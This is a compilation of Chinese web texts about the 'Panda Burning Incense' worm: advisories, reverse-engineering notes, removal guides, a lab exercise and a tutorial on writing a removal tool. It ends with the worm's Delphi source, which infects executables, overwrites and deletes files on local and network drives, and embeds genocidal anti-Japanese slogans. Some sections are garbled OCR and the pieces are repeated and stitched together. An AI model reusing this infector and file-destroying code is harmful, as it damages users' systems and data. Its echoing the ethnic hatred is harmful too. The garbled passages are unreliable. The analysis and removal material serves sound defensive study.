熊猫烧香病毒之专杀工具编写教程方案
熊猫烧香
国家计算机病毒应急处理中心通过对互联网的监测发现,一伪装成“熊猫烧香”图案的蠕虫正在互联网上进行传播,已有数百万个人计算机用户和企业局域网遭受感染。
国家计算机病毒应急处理中心分析发现,该蠕虫为“威金”蠕虫的一个新变种。
该变种感染计算机系统后,可使系统中所有.exe文件都变成了一种奇怪的图案,该图案显示为“熊猫烧香”国家计算机病毒应急处理中心通过对互联网的监测发现,一伪装成“熊猫烧香”图案的蠕虫正在互联网上进行传播,已有数百万个人计算机用户和企业局域网遭受感染。
国家计算机病毒应急处理中心分析发现,该蠕虫为“威金”蠕虫的一个新变种。
该变种感染计算机系统后,可使系统中所有.exe文件都变成了一种奇怪的图案,该图案显示为“熊猫烧香”,同时受感染的计算机系统会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。
变种可以通过局域网进行传播,进而感染局域网内所有计算机系统,最终导致整个局域网瘫痪,无法正常使用。
该蠕虫先后出现很多变种,再出现后的短时期内迅速传播,遭受感染的用户难于彻底清除,给其工作带来诸多不便。
蠕虫情况分析如下:病毒名称:Worm_Viking中文名:“熊猫烧香”其他名称:Worm/Viking(江民)Worm.WhBoy.h (金山)PE_FUJACKS (趋势)Worm.Nimaya (瑞星)W32/Fujacks (McAfee)病毒类型:蠕虫感染系统:Windows 9X/ Windows ME/ Windows NT/ Windows 2000/Windows XP/ Windows 2003病毒特性:“熊猫烧香”是蠕虫“威金”的一个变种,是一个由Delphi 工具编写的蠕虫,它会感染计算机系统中后缀名为exe、com、pif、src、html、asp等文件,它还会终止一些计算机系统中安装的防病毒软件和防火墙的进程。
1、生成病毒文件蠕虫运行后在%System%目录下生成文件spoclsv.exe,并且在每个文件夹下面生成desktop_.ini 文件,里面标记着病毒发作日期。
病毒木马查杀第007篇:熊猫烧香之逆向分析(下)
一、前言这次我们会接着上一篇的内容继续对病毒进行分析。
分析中会遇到一些不一样的情况,毕竟之前的代码我们只要按照流程顺序一步一步往下走,就能够弄清楚病毒的行为,但是在接下来的代码中,如果依旧如此,在某些分支中的重要代码就执行不到了,所以我们需要采取一些策略,走完每个分支,彻底分析出病毒的行为。
二、病毒分析现在程序执行到了loc_408171位置处:图1 loc_408171起始处的代码程序首先进行比较操作,由于二者都为0,所以在比较过后ZF=1,那么接下来的跳转并不执行。
之后的CALL获取到了病毒程序所在的路径(包含文件名),并将完整路径名的首地址保存在eax中,注意[ebp+var_3D8]中所保存的是一个地址数值,该地址指向文件路径字符串。
而接下来赋给edx的地址,则是病毒程序完整地址向后4个字节的位置,正好跳过了两个大写字母和两个符号。
接下来进入sub_40532C进行查看,可以发现:图2 查看sub_40532C内部代码这里的CharUpperBuff函数的作用是把缓冲区中指定数目的字符转为大写。
于是可以将sub_40532C重命名为:ToUpper。
接下来有:图3 分析sub_4054BC函数这里出现了sub_4054BC函数,跟进查看可以发现:图4 查看sub_4054BC内部代码这里的GetSystemDirectory函数的作用在于获取系统路径,于是可以将sub_4054BC重命名为:GetSystemDir。
可见以上这几个函数分析得还是比较顺利的,因为病毒直接调用了API函数,让我们对于程序的功能一目了然。
接下来有:图5 分析sub_403F8C函数程序首先将刚才获取的系统路径字符串的首地址入栈,然后分别压入“drivers\”与“spoclsv.exe”这两个字符串,之后利用OD对sub_403F8C进行分析,执行完后可以发现:图6 跟踪sub_403F8C执行完后的变化由此可见,sub_403F8C的作用是将两个字符串与另一个字符串连接起来,从而组成一个长路径,所以可以将其重命名为:TwoStringsCat。
熊猫烧香防杀攻略
具, 做成专杀集台. 下载地址是
如果 碰 到 了 “ 猫烧 香 。 熊
大家可以从中选用. 毕竟使用专 杀工具是快速 的应急 方法 ( 图 2。 ) 专杀工具不光能杀毒, 还能 修复被病毒感染 的文件。 但有 些 熊猫烧香” 病毒会从网上下 载很多其他的木马病毒、 恶意 程序. 专杀 工具对 这 些病 毒是 无 能为力的。 所以清除完 熊描烧 香 之后. 还要升级你的杀毒软件. 进行全盘扫描系毒。
轵 就 能 胤 } 们被 采 岜
在此我们要用到e e cp 轼M , 】 x s 0 c 目它
引 要 修 改 的程 序 , 一 查找 程 序 标题 在 左 最 近 一 段 时 间 . 猫 烧 香 熊 边 的辑 形 目 申选 择 “ 源 . 般 程 序 桥 录 资 一 题都 在 字符 串 或者 埘 话 框” 艟J F 字苻串, 台看到很多数字, 十个古找, 般 很快 就 能找 到标 项 比如 (6 安全 (0 3 的标 题项 就 在 第 1 字符 串中 f 3 个 )
痫毒泛监成灾, 据不完全统H 国 内感 染熊 猫 烧 香病 毒的 企 业
已超 过 千家 . 个人 用户 更星 不计 其数 。 目前熊描烧香病毒 L处 E 于 一 个急 速 变种 期 , 【月份至 舨 1 今. 种数 量 已达 4 0 种 , 变 0糸 而 且新 版 本 变 种病 毒 防 查 杀 的手
。 熊猫烧香 大规模发作以来, 很多安生厂商或组织都发布了自 己的专杀
:其 . 由f变 种很 多 怛 专杀 工具也 难 咀保证完 全 清除 ; 们收 集 一 专系 工 我 些
管理器、 系统实用配制程序和注册表编辑 器都 可 以修
改. 不过 要 注 意.XSoe c c cp 并不 适合 修改
实例讲解如何干掉“熊猫烧香”
你中过熊猫烧⾹么?!看到过熊猫拿着三⽀⾹的样⼦么!?中招后如何处理!?看完本⽂,你将学会如何从计算机中杀掉“熊猫烧⾹”。
惊险查杀过程 1.熊猫烧⾹病毒:图⽚就是个熊猫在烧⾹感觉蛮可爱的!当时并没有很在意!第⼆天再次打开电脑的时候!⼏乎电脑所有的EXE⽂件都成了熊猫烧⾹图⽚!这时才有所感觉! 部分EXE⽂件已经⽆法正常使⽤!新加⼀个AUTORUN.INF的⽂件! 当初不明⽩这个⽂件的作⽤!在上查了⼀些资料表明。
才知道。
只要⽤户打开盘符。
就会运⾏这个病毒!⽤杀毒软件杀毒!没有效果!看来现在的杀毒软件越来越不⾏了~.. 2.想⽤组合键打开任务管理器!⽆法打开~失败....想看看注册表有没什么情况。
依然失败!奇怪的是:电脑运⾏正常。
也都不卡!难道不是病毒.是系统出了问题?从上下了第三⽅⼯具查看进程!果然看到两个可疑进程!FuckJacks.exe貌似是最可疑的不敢贸然终⽌!赶快问问⽩度⼤叔! 3.⼤叔告诉我。
是熊猫病毒的进程!⼀切正如我意!懒的装系统了! 4.先结束FuckJacks.exe进程!开始-运⾏-CMD 输⼊:ntsd -c q -p 病毒的PID~终于KILL掉了!⼀切恢复正常了!兴奋ING...赶快打开注册表 突然注册表⼜关了.看看进程FuckJacks.exe。
⼜出现了~~那应该它还有个守护进程!找找找。
⽆发现....奇怪了。
难道他的守护进程插⼊到系统 进程了?不会吧.....头疼⼀阵...。
5.算了,去向朋友找个专杀⼯具。
有⼀个朋友说他写过熊猫的专杀⼯具!晕~~原来⽜⼈在我⾝边。
我都没发现~赶快想他请教~~才⼤概的了解了熊猫烧⾹~ 叫他给了我⼀个⽆壳的熊猫⾃⼰分析下~(⾃⼰动⼿.丰⾐⾜⾷嘛~~) 6.⽤UI32打开熊猫.看到了条⽤的部分资源!⽂件执⾏后。
释放到\system32\FuckJacks.exe下。
7.继续象下可以看到熊猫的⼀些传播过程相当的经典..有扫描同⼀段的电脑~⾃我复制.等等相当强⼤公能~同时感染所有盘符的EXE⽂件~却不对⼀些重要的系统⽂件和常⽤⽂件进⾏感染!可见并不想早成太⼤破坏~修改注册表.禁⽌打开注册表.甚⾄禁⽤了部分服务~~ 8下⾯就是重要的时刻了!从后⾯的代码可以看出!病毒的作者是个⾮常出⾊的程序员!有⾮常好的编程习惯!对病毒的异常运⾏~进⾏了很好的定义~都很⼤段都是作者对病毒运⾏条件的判断定义~值得注意的⼀点:在感染EXE⽂件的同时!感染ASP。
熊猫烧香(源代码)
熊猫烧香(源代码)(一) 主程序段分析原“熊猫烧香”病毒“源码”主程序段代码如下所示:{==================主程序开始====================}beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 thenInfectFiles //感染和发邮件else //已寄生于宿主程序上了,开始工作beginTmpFile := ParamStr(0); //创建临时文件……....Line nDelete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7InfectFiles; //感染和发邮件end;end.对于代码:RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程虽然源码提供者省略了相应实现,但这是比较基本的编程实现。
通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。
熊猫烧香病毒源代码!!
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
熊猫烧香电脑病毒清除方法介绍
熊猫烧香电脑病毒清除方法介绍:1.下载专杀工具,扫描一遍,注意,必须这两个都扫一遍,因为网上的专杀太多,原理不尽相同,这两个配合使用基本可以保证病毒全部清除,被病毒感染的EXE文件也会被复原2.开始→搜索→文件或文件夹→搜索硬盘上的*.htm ,*.html,*.php,*.asp,*.jsp,*.aspx后缀的文件,全部删除掉。
如果清不掉的就用命令行清除,开始→运行→CMD→输入del x:*.htm /f/s/q/a这里的X指的是你的盘符,你有几个盘就清除几次,fsqa指的是无条件删除盘符下所有属性的该后缀文件,包括了隐含文件,和系统文件。
删除完htm文件后,依次再删除html,php,asp,aspx。
注意:如果你的资料包含这些后缀的文件,那你就不能简单的做批删除操作了,最好的办法是你去下载一个dreamwaver,然后把每个文件源码的末尾部分被修改的部分改回,这里不多说,去摆渡一下就知道!这了采用的批删除操作是针对一般用户而言,而且这样做并不会导致你收藏的网页丢失3.右键打开你的D盘,找到System Volume Information,如果找不到,说明你的隐含文件是不显示的,那找到注册表的这个位置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"= 改为00000001即可。
进去,手动删除除change.log外的所有文件。
然后依次对其他盘进行操作。
因为这个位置的病毒会在重启后再生,而很多专杀又无法机械的清除该位置的病毒,所以这个步骤非常重要。
4.如果你还没有做新系统,那么现在需要修改注册表的启动项HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run 把右边的键全部删除。
熊猫烧香病毒清除方法有哪些
熊猫烧香病毒清除方法有哪些电脑病毒看不见,却无处不在,有时防护措施不够或者不当操作都会导致病毒入侵。
熊满烧香是之前很经典也是很可怕的一种病毒,那么具体有什么预防和处理办法呢?方法步骤1. 断开网络(必要)2. 结束病毒进程%System%\drivers\spoclsv.exe3. 删除病毒文件:c:\windows\system32\drivers\spoclsv.exe注意:打开C盘要右键-开打,否则仁兄就要功亏一篑,就要重复2的步骤!4. 修改注册表设置,恢复“显示所有文件和文件夹”选项功能:[Copy to clipboard]CODE:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\C urrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"=dword:00000001本步骤针对病毒将显示隐藏文件禁用的情况5. 右键点击分区盘符,点击右键菜单中的“打开”进入分区根目录,删除根目录下的文件:X:\setup.exeX:\autorun.inf6. 删除病毒创建的启动项:[Copy to clipboard]CODE:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run]"svcshare"="%System%\drivers\spoclsv.exe"7. 使用专杀工具进行全盘扫描,清除恢复被感染的exe文件推荐使用软件:NimayaKiller相关阅读:2018网络安全事件:一、英特尔处理器曝“Meltdown”和“Spectre漏洞”2018年1月,英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞,包括AMD、ARM、英特尔系统和处理器在内,几乎近20年发售的所有设备都受到影响,受影响的设备包括手机、电脑、服务器以及云计算产品。
熊猫烧香病毒之专杀工具的编写教程
熊猫烧香病毒之专杀工具的编写教程通过对熊猫烧香的行为分析,这里仅针对所得结果,来进行专杀工具的编写。
本节课我们会学习使用C++来写一个简单的“熊猫烧香”专杀系统。
实验目的:结合本篇文章的知识点,能够彻底掌握文章所讲述的编写杀毒软件的方法。
实验思路:1.理解专杀工具所需要实现的功能2.利用VC++编写专杀工具3.结合Process Monitor验证专杀工具实验步骤:1、病毒行为回顾与归纳这里我们首先回顾一下病毒的行为:**病毒行为1:**病毒本身创建了名为`spoclsv.exe`的进程,该进程文件的路径为:C:WINDOWSsystem32driversspoclsv.exe**病毒行为2:**在命令行模式下使用`net share`命令来取消系统中的共享。
**病毒行为3:**删除安全类软件在注册表中的启动项。
**病毒行为4:**在注册表:HKCUSoftwareMicrosoftWindowsCurrentVersionRun中创建svcshare用于在开机时启动位于`C:WINDOWSsystem32driversspoclsv.exe`的病毒程序。
**病毒行为5:**修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为:HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL 病毒将`CheckedValue`的键值设置为了0。
**病毒行为6:**将自身拷贝到根目录,并命名为`setup.exe`,同时创建`autorun.inf`用于病毒的启动,这两个文件的属性都是“隐藏”。
**病毒行为7:**在一些目录中创建名为`Desktop_.ini`的隐藏文件。
**病毒行为8:**向外发包,连接局域网中其他机器。
纵观以上八点行为,这里需要说明的是,其中的第二点行为,由于我不知道用户计算机在中毒前的设置,因此这条我打算忽略。
熊猫烧香(源代码)
(一) 主程序段分析原“熊猫烧香”病毒“源码”主程序段代码如下所示:{==================主程序开始====================}beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 thenInfectFiles //感染和发邮件else //已寄生于宿主程序上了,开始工作beginTmpFile := ParamStr(0); //创建临时文件……....Line nDelete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7InfectFiles; //感染和发邮件end;end.对于代码:RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程虽然源码提供者省略了相应实现,但这是比较基本的编程实现。
通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。
5-3-1病毒查杀程序分析.
sxs.exe病毒查杀程序是一个批处理程序,双击执行即可清除sxs.exe病 毒。 请大家根据搜集的资料一起来讨论什么是批处理程序?批处理文件的作 用是什么?
批处理文件(Batch File,简称 BAT文件)是一种在DOS 下最常用的可执行 文件。它具有灵活的操纵性,可适应各种复杂的计算机操作。 所谓的批处理,就是按规定的顺序自动执行若干个指定的DOS命令或程序。即 是把原来一个一个执行的命令汇总起来,成批的执行,而程序文件可以移植 到其它电脑中运行,因此可以大大节省命令反复输入的繁琐。同时批处理文 件还有一些编程的特点,可以通过扩展参数来灵活的控制程序的执行,所以 在日常工作中非常实用。
sxs.exe病毒查杀程序分析
4.批处理文件的工作平台
由于批处理文件其实就是一个命令的集合,所以批 处理文件的工作平台是由这些命令所工作的平台来决 定,今天我们在这里主要研究的是Microsoft环境下的 批处理文件(.bat和.cmd文件),所以这里的平台, 当然也就是指Microsoft的DOS和Windows系统。
reg delete
HKLM\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\F older\Hidden\SHOWALL /V CheckedValue /f (从注册表删除项或子项,后
面跟的是子项的特定路径,此处是本地计算机的子目录树HKLM) (/V删除子
sxs.exe病毒查杀程序分析
3.如何来编写批处理文件
其实编写批处理文件并没有什么编程环境的要求,任何一 个文本编辑器都可以用来编写批处理文件,像DOS下的Edit、 WPS以及DOS自带的Copy命令的扩展copy con命令就可以编写, Windows下的记事本、写字板等。
6。Panda熊猫烧香病毒查杀实验
Any question?
12
9.4.2. 结束以下进程: Mcshield.exe;VsTskMgr.exe;naPrdMgr.exe;UpdaterUI.exe;TBMon.exe;scan32.exe;R avmond.exe;CCenter.exe;RavTask.exe;Rav.exe;Ravmon.exe;RavmonD.exe;RavStub. exe;KVXP.kxp;KvMonXP.kxp;KVCenter.kxp;KVSrvXP.exe;KRegEx.exe;UIHost.exe;Troj Die.kxp;FrogAgent.exe;Logo1_.exe;Logo_1.exe;Rundl132.exe;regedit.exe;msconfig. exe;taskmgr.exe 9.4.3. 关闭并删除以下服务: Schedule;sharedaccess;RsCCenter;RsRavMon;RsCCenter;KVWSC;KVSrvXP;kavsvc;A VP;McAfeeFramework;McShield;McTaskManager;navapsvc;wscsvc;KPfwSvc;SNDSr vc;ccProxy;ccEvtMgr;ccSetMgr;SPBBCSvc;Symantec Core LC;NPFMntor;MskService;FireSvc 注: 因为该病毒会感染系统的htm,html,asp,php,jsp,aspx等文件,并在其中加入有 利用安全漏洞进行病毒传播的链接.如果一台服务器被感染将大大增加病毒传 播的范围。
病毒类型 蠕虫病毒 6. 病毒大小 AxCmd.exe 317KB GameSetup.exe 39KB 7. 传播方式 本地磁盘感染,局域网传播 8. 病毒特征 这是一个感染型的蠕虫病毒,它能感染系统中exe,com, pif,src,html,asp等文件,它还能中止大量的反病毒软件进 程并且会删除扩展名为gho的文件,该文件是一系统备份工具 GHOST的备份文件,使用户的系统备份文件丢失。其中能感 染文件的版本使被感染的用户系统中所有.exe可执行文件全部 被改成熊猫举着三根香的模样。 9. 病毒行为 该病毒的主要行为(针对GameSetup.exe) 5.
实验七 典型病毒(熊猫烧香)的检测和清除
实验七典型病毒(熊猫烧香)的检测和清除一、实验目的掌握典型病毒的检测方法,掌握典型病毒-熊猫烧香病毒的检测方法二、实验环境微机1台,熊猫烧香病毒样本、熊猫烧香病毒专杀工具、VMWare虚拟机软件。
三、实验步骤与方法1)熊猫烧香病毒的检测1、备好病毒样本带有熊猫烧香病毒的文件。
2、运行VMWare虚拟机软件。
为了整个计算机本身的安全或整个实验室系统的安全,让实验在虚拟的环境下进行,3、检测干净系统4、种植熊猫烧香病毒点击含有熊猫烧香病毒文件夹下的setup.exe文件,这时就将熊猫烧香病毒种植到计算机系统中了。
5、检测中毒后的系统得出实验结论2)熊猫烧香病毒的清除(1) 熊猫症状表现为:(1.1) 某些EXE文件的图标被改成一个座立的熊猫手里捧着三根香,因此得名,(1.2) 隐藏文件属性无法修改,即显示所有隐藏文件的勾选去掉也不能显示隐藏文件;(1.3) 双击分区盘符无法打开显示内容,必须通过右键打开才可以打开;如果你的电脑出现以上症状那一定是中着了!可以通过以下用超级巡警之熊猫烧香病毒专杀V1.8自动删除和清理病毒(删除前断开网络)拓展资料:手工清除方法(2.1) 清除病毒第一步:点击“开始--运行”,输入"ntsd -c q -pn spoclsv.exe"并确定,结束病毒的进程。
(或进入到文件夹c:\windows(Windows2000下为winnt, windowsXP下为windows)\system32 \drivers中修改spoclsv.exe的文件名为其他的.exe文件),之后我们就可以进入到任务管理器和注册表中了。
第二步:在注册表中寻找“HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\C URRENTVersion\Explorer\Advanced\Folder\Hidden\SHOWALL”,将CheckedValue的值改为1。
熊猫烧香病毒详解(附源码及学习资料)
熊猫烧⾹病毒详解(附源码及学习资料)这⼏天⼩编在研究下病毒,源码拿出来和⼤家分享⼀下。
温馨提⽰:亮点最后!今天在OSC看到有⼈共享熊猫烧⾹的源码,⽤Delphi写的,真的是跨平台啊,犹对Japanese操作系统破坏最甚,字⾥⾏间留露出作者的愤青情绪啊,⼤体的看了下,主要是通过拷贝到Windows系统⽬录中,注册表添加⾃启动的蠕⾍病毒,通过VB调⽤Windows的Outlook发送邮件,进⽽达到传播病毒,原始的病毒是将exe的图标改成熊猫烧⾹的图标,并没有其他功效,真正破坏性的都是后期制作的。
随着编程语⾔的简化和提⾼,写个病毒当个骇客,再也不是梦了,主要你要了解病毒是怎么传播的,如何保证⾃⼰不会被轻易的杀掉,对Windows的漏洞也要有很深的研究,这样才能写出⼀个骇⼈听闻的病毒,但是写出来也不要张扬,⾃⼰娱乐下就好了,被他⼈恶意利⽤可不是闹着玩的。
不禁想起了之前微软的⼀个严重漏洞,迟迟四年也没有发现,漏洞是当OS连续运⾏49天之后会死机,为什么没有发现呢,因为其他的漏洞导致os还未运⾏就么久就已经死了,原因是每毫⽶加⾐的计时器,在49天之后,int型就溢出了,导致系统崩溃。
随便说说,看下源码,留着以后研究:program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的⼤⼩IconOffset = $12EB8; //PE⽂件主图标的偏移量//在我的Delphi5 SP1上⾯编译得到的⼤⼩,其它版本的Delphi可能不同//查找2800000020的⼗六进制字符串可以找到主图标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的⼤⼩IconOffset = $92BC; //Upx压缩过PE⽂件主图标的偏移量//Upx 1.24W ⽤法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE⽂件主图标的⼤⼩--744字节IconTail = IconOffset + IconSize; //PE⽂件主图标的尾部ID = $44444444; //感染标记//垃圾码,以备写⼊Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //⽇⽂操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主⽂件从已感染的PE⽂件中分离出来,以备使⽤ }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之?end;{ 感染PE⽂件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则⽂件正在被使⽤,退出if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是⾃⼰则不感染 Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to $108 do //检查PE⽂件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记IsPE := True; //是PE⽂件Break;end;end;SrcStream.Seek(-4, soFromEnd); //检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then //太⼩的⽂件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE⽂件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染⽂件的主图标(744字节),存⼊流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头⽂件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try//写⼊病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写⼊⽬前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写⼊病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写⼊宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写⼊已感染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主⽂件DstStream.Free;end;except;end;end;{ 将⽬标⽂件写⼊垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintrySetFileAttributes(PChar(FileName), 0); //去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开⽂件trySize := GetFileSize(FileHandle, nil); //⽂件⼤⼩i := 0;Randomize;Max := Random(15); //写⼊垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的⼤⼩Len := Length(Catchword);while i < Max dobeginFileSeek(FileHandle, i * Mass, 0); //定位//写⼊垃圾码,将⽂件彻底破坏掉finallyFileClose(FileHandle); //关闭⽂件end;DeleteFile(PChar(FileName)); //删除之exceptend;end;{ 获得可写的驱动器列表 }function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + '''''''''''''''':'''''''''''''''';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和⽹络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) thenResult := Result + D;end;end;{ 遍历⽬录,感染和摧毁⽂件 }procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr <> 16) and ( <> ''''''''''''''''.'''''''''''''''') and( <> ''''''''''''''''..'''''''''''''''') thenResult := 0 //不是⽬录else if (SearchRec.Attr = 16) and ( <> ''''''''''''''''.'''''''''''''''') and( <> ''''''''''''''''..'''''''''''''''') thenResult := 1 //不是根⽬录else Result := 2; //是根⽬录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') thenbeginInfectOneFile(Fn); //感染可执⾏⽂件endelse if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then begin//感染HTML和ASP⽂件,将Base64编码后的病毒写⼊//感染浏览此⽹页的所有⽤户//哪位⼤兄弟愿意完成之?endelse if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿⽂件begin//获取Outlook邮件地址endelse if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址⾃动完成⽂件begin//获取Foxmail邮件地址endelse if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿⽂件begin//获取Foxmail邮件地址if IsJap then //是倭⽂操作系统beginif (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or(Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or (Ext = 